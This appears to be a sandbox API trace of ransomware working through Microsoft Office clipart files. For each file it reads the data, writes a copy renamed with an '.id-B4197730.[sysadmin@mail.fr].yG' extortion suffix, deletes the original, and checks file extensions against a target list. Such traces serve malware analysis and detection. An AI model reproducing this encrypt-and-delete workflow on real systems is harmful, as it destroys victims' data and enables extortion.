	[0182.756] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01170_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0182.757] GetLastError () returned 0x0
	[0182.757] ReadFile (in: hFile=0x364, lpBuffer=0x39fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x39fa020*, lpNumberOfBytesRead=0x2edfecc*=0x964, lpOverlapped=0x0) returned 1
	[0182.761] WriteFile (in: hFile=0x370, lpBuffer=0x39fa020*, nNumberOfBytesToWrite=0x970, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x39fa020*, lpNumberOfBytesWritten=0x2edfc94*=0x970, lpOverlapped=0x0) returned 1
	[0182.762] ReadFile (in: hFile=0x364, lpBuffer=0x39fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x39fa020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1
	[0182.762] WriteFile (in: hFile=0x370, lpBuffer=0x39fa020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x39fa020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1
	[0182.762] SetEndOfFile (hFile=0x370) returned 1
	[0182.764] CloseHandle (hObject=0x370) returned 1
	[0182.764] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.764] SetEndOfFile (hFile=0x364) returned 1
	[0182.765] CloseHandle (hObject=0x364) returned 1
	[0182.765] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0182.766] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01170_.wmf")) returned 1
	[0182.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 68
	[0182.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 68
	[0182.767] lstrlenW (lpString=".doc") returned 4
	[0182.767] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0182.767] lstrlenW (lpString=".docx") returned 5
	[0182.767] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0182.767] lstrlenW (lpString=".pdf") returned 4
	[0182.767] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0182.767] lstrlenW (lpString=".xls") returned 4
	[0182.767] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0182.767] lstrlenW (lpString=".xlsx") returned 5
	[0182.767] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0182.767] lstrlenW (lpString=".ppt") returned 4
	[0182.767] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0182.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 68
	[0182.767] lstrlenW (lpString=".zip") returned 4
	[0182.767] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0182.767] lstrlenW (lpString=".rar") returned 4
	[0182.767] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0182.767] lstrlenW (lpString=".bz2") returned 4
	[0182.767] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0182.767] lstrlenW (lpString=".7z") returned 3
	[0182.767] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0182.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 68
	[0182.767] lstrlenW (lpString=".dbf") returned 4
	[0182.767] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0182.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 68
	[0182.768] lstrlenW (lpString=".1cd") returned 4
	[0182.768] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0182.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 68
	[0182.768] lstrlenW (lpString=".jpg") returned 4
	[0182.768] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0182.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 68
	[0182.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 68
	[0182.768] lstrlenW (lpString=".doc") returned 4
	[0182.768] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0182.768] lstrlenW (lpString=".docx") returned 5
	[0182.768] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0182.768] lstrlenW (lpString=".pdf") returned 4
	[0182.768] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0182.768] lstrlenW (lpString=".xls") returned 4
	[0182.768] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0182.768] lstrlenW (lpString=".xlsx") returned 5
	[0182.768] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0182.768] lstrlenW (lpString=".ppt") returned 4
	[0182.768] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0182.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 68
	[0182.768] lstrlenW (lpString=".zip") returned 4
	[0182.769] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0182.769] lstrlenW (lpString=".rar") returned 4
	[0182.769] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0182.769] lstrlenW (lpString=".bz2") returned 4
	[0182.769] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0182.769] lstrlenW (lpString=".7z") returned 3
	[0182.769] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0182.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 68
	[0182.769] lstrlenW (lpString=".dbf") returned 4
	[0182.769] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0182.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 68
	[0182.769] lstrlenW (lpString=".1cd") returned 4
	[0182.769] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0182.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 68
	[0182.769] lstrlenW (lpString=".jpg") returned 4
	[0182.769] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0182.769] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0182.769] lstrlenW (lpString="DD01171_.WMF") returned 12
	[0182.769] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01171_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0182.771] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2edff14 | out: lpFileSize=0x2edff14*=2052) returned 1
	[0182.774] CloseHandle (hObject=0x364) returned 1
	[0182.774] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01171_.wmf")) returned 0x220
	[0182.774] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01171_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0182.774] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01171_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0182.775] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.775] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.775] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01171_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0182.776] GetLastError () returned 0x0
	[0182.776] ReadFile (in: hFile=0x364, lpBuffer=0x39fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x39fa020*, lpNumberOfBytesRead=0x2edfecc*=0x804, lpOverlapped=0x0) returned 1
	[0182.778] WriteFile (in: hFile=0x370, lpBuffer=0x39fa020*, nNumberOfBytesToWrite=0x810, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x39fa020*, lpNumberOfBytesWritten=0x2edfc94*=0x810, lpOverlapped=0x0) returned 1
	[0182.779] ReadFile (in: hFile=0x364, lpBuffer=0x39fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x39fa020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1
	[0182.779] WriteFile (in: hFile=0x370, lpBuffer=0x39fa020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x39fa020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1
	[0182.780] SetEndOfFile (hFile=0x370) returned 1
	[0182.780] CloseHandle (hObject=0x370) returned 1
	[0182.780] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.780] SetEndOfFile (hFile=0x364) returned 1
	[0182.781] CloseHandle (hObject=0x364) returned 1
	[0182.781] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0182.781] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01171_.wmf")) returned 1
	[0182.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 68
	[0182.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 68
	[0182.782] lstrlenW (lpString=".doc") returned 4
	[0182.783] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0182.783] lstrlenW (lpString=".docx") returned 5
	[0182.783] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0182.783] lstrlenW (lpString=".pdf") returned 4
	[0182.783] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0182.783] lstrlenW (lpString=".xls") returned 4
	[0182.783] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0182.783] lstrlenW (lpString=".xlsx") returned 5
	[0182.783] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0182.783] lstrlenW (lpString=".ppt") returned 4
	[0182.783] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0182.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 68
	[0182.783] lstrlenW (lpString=".zip") returned 4
	[0182.783] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0182.783] lstrlenW (lpString=".rar") returned 4
	[0182.783] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0182.783] lstrlenW (lpString=".bz2") returned 4
	[0182.783] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0182.783] lstrlenW (lpString=".7z") returned 3
	[0182.783] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0182.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 68
	[0182.783] lstrlenW (lpString=".dbf") returned 4
	[0182.783] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0182.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 68
	[0182.783] lstrlenW (lpString=".1cd") returned 4
	[0182.783] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0182.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 68
	[0182.784] lstrlenW (lpString=".jpg") returned 4
	[0182.784] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0182.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 68
	[0182.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 68
	[0182.784] lstrlenW (lpString=".doc") returned 4
	[0182.784] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0182.784] lstrlenW (lpString=".docx") returned 5
	[0182.784] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0182.784] lstrlenW (lpString=".pdf") returned 4
	[0182.784] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0182.784] lstrlenW (lpString=".xls") returned 4
	[0182.784] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0182.784] lstrlenW (lpString=".xlsx") returned 5
	[0182.784] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0182.784] lstrlenW (lpString=".ppt") returned 4
	[0182.784] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0182.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 68
	[0182.784] lstrlenW (lpString=".zip") returned 4
	[0182.784] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0182.784] lstrlenW (lpString=".rar") returned 4
	[0182.784] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0182.784] lstrlenW (lpString=".bz2") returned 4
	[0182.785] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0182.785] lstrlenW (lpString=".7z") returned 3
	[0182.785] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0182.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 68
	[0182.785] lstrlenW (lpString=".dbf") returned 4
	[0182.785] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0182.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 68
	[0182.785] lstrlenW (lpString=".1cd") returned 4
	[0182.785] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0182.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 68
	[0182.785] lstrlenW (lpString=".jpg") returned 4
	[0182.785] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0182.785] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0182.785] lstrlenW (lpString="DD01172_.WMF") returned 12
	[0182.785] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01172_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0182.786] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2edff14 | out: lpFileSize=0x2edff14*=2232) returned 1
	[0182.786] CloseHandle (hObject=0x364) returned 1
	[0182.786] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01172_.wmf")) returned 0x220
	[0182.786] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01172_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0182.786] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01172_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0182.786] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.787] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.787] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01172_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0182.787] GetLastError () returned 0x0
	[0182.787] ReadFile (in: hFile=0x364, lpBuffer=0x39fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x39fa020*, lpNumberOfBytesRead=0x2edfecc*=0x8b8, lpOverlapped=0x0) returned 1
	[0183.342] WriteFile (in: hFile=0x370, lpBuffer=0x39fa020*, nNumberOfBytesToWrite=0x8c0, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x39fa020*, lpNumberOfBytesWritten=0x2edfc94*=0x8c0, lpOverlapped=0x0) returned 1
	[0183.343] ReadFile (in: hFile=0x364, lpBuffer=0x39fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x39fa020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1
	[0183.343] WriteFile (in: hFile=0x370, lpBuffer=0x39fa020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x39fa020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1
	[0183.343] SetEndOfFile (hFile=0x370) returned 1
	[0183.343] CloseHandle (hObject=0x370) returned 1
	[0183.344] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.344] SetEndOfFile (hFile=0x364) returned 1
	[0183.345] CloseHandle (hObject=0x364) returned 1
	[0183.345] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0183.346] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01172_.wmf")) returned 1
	[0183.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 68
	[0183.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 68
	[0183.347] lstrlenW (lpString=".doc") returned 4
	[0183.347] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0183.347] lstrlenW (lpString=".docx") returned 5
	[0183.347] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0183.347] lstrlenW (lpString=".pdf") returned 4
	[0183.348] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0183.348] lstrlenW (lpString=".xls") returned 4
	[0183.348] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0183.348] lstrlenW (lpString=".xlsx") returned 5
	[0183.348] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0183.348] lstrlenW (lpString=".ppt") returned 4
	[0183.348] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0183.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 68
	[0183.348] lstrlenW (lpString=".zip") returned 4
	[0183.348] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0183.348] lstrlenW (lpString=".rar") returned 4
	[0183.348] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0183.348] lstrlenW (lpString=".bz2") returned 4
	[0183.348] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0183.348] lstrlenW (lpString=".7z") returned 3
	[0183.348] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0183.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 68
	[0183.349] lstrlenW (lpString=".dbf") returned 4
	[0183.349] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0183.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 68
	[0183.349] lstrlenW (lpString=".1cd") returned 4
	[0183.349] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0183.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 68
	[0183.349] lstrlenW (lpString=".jpg") returned 4
	[0183.349] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0183.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 68
	[0183.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 68
	[0183.349] lstrlenW (lpString=".doc") returned 4
	[0183.349] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0183.349] lstrlenW (lpString=".docx") returned 5
	[0183.350] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0183.350] lstrlenW (lpString=".pdf") returned 4
	[0183.350] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0183.350] lstrlenW (lpString=".xls") returned 4
	[0183.350] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0183.350] lstrlenW (lpString=".xlsx") returned 5
	[0183.350] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0183.350] lstrlenW (lpString=".ppt") returned 4
	[0183.350] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0183.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 68
	[0183.350] lstrlenW (lpString=".zip") returned 4
	[0183.350] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0183.350] lstrlenW (lpString=".rar") returned 4
	[0183.350] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0183.350] lstrlenW (lpString=".bz2") returned 4
	[0183.350] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0183.350] lstrlenW (lpString=".7z") returned 3
	[0183.350] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0183.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 68
	[0183.350] lstrlenW (lpString=".dbf") returned 4
	[0183.350] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0183.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 68
	[0183.350] lstrlenW (lpString=".1cd") returned 4
	[0183.350] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0183.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 68
	[0183.350] lstrlenW (lpString=".jpg") returned 4
	[0183.350] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0183.351] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0183.351] lstrlenW (lpString="DD01366_.WMF") returned 12
	[0183.351] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01366_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0183.351] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2edff14 | out: lpFileSize=0x2edff14*=1768) returned 1
	[0183.351] CloseHandle (hObject=0x364) returned 1
	[0183.351] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01366_.wmf")) returned 0x220
	[0183.352] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01366_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0183.352] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01366_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0183.352] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.352] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1
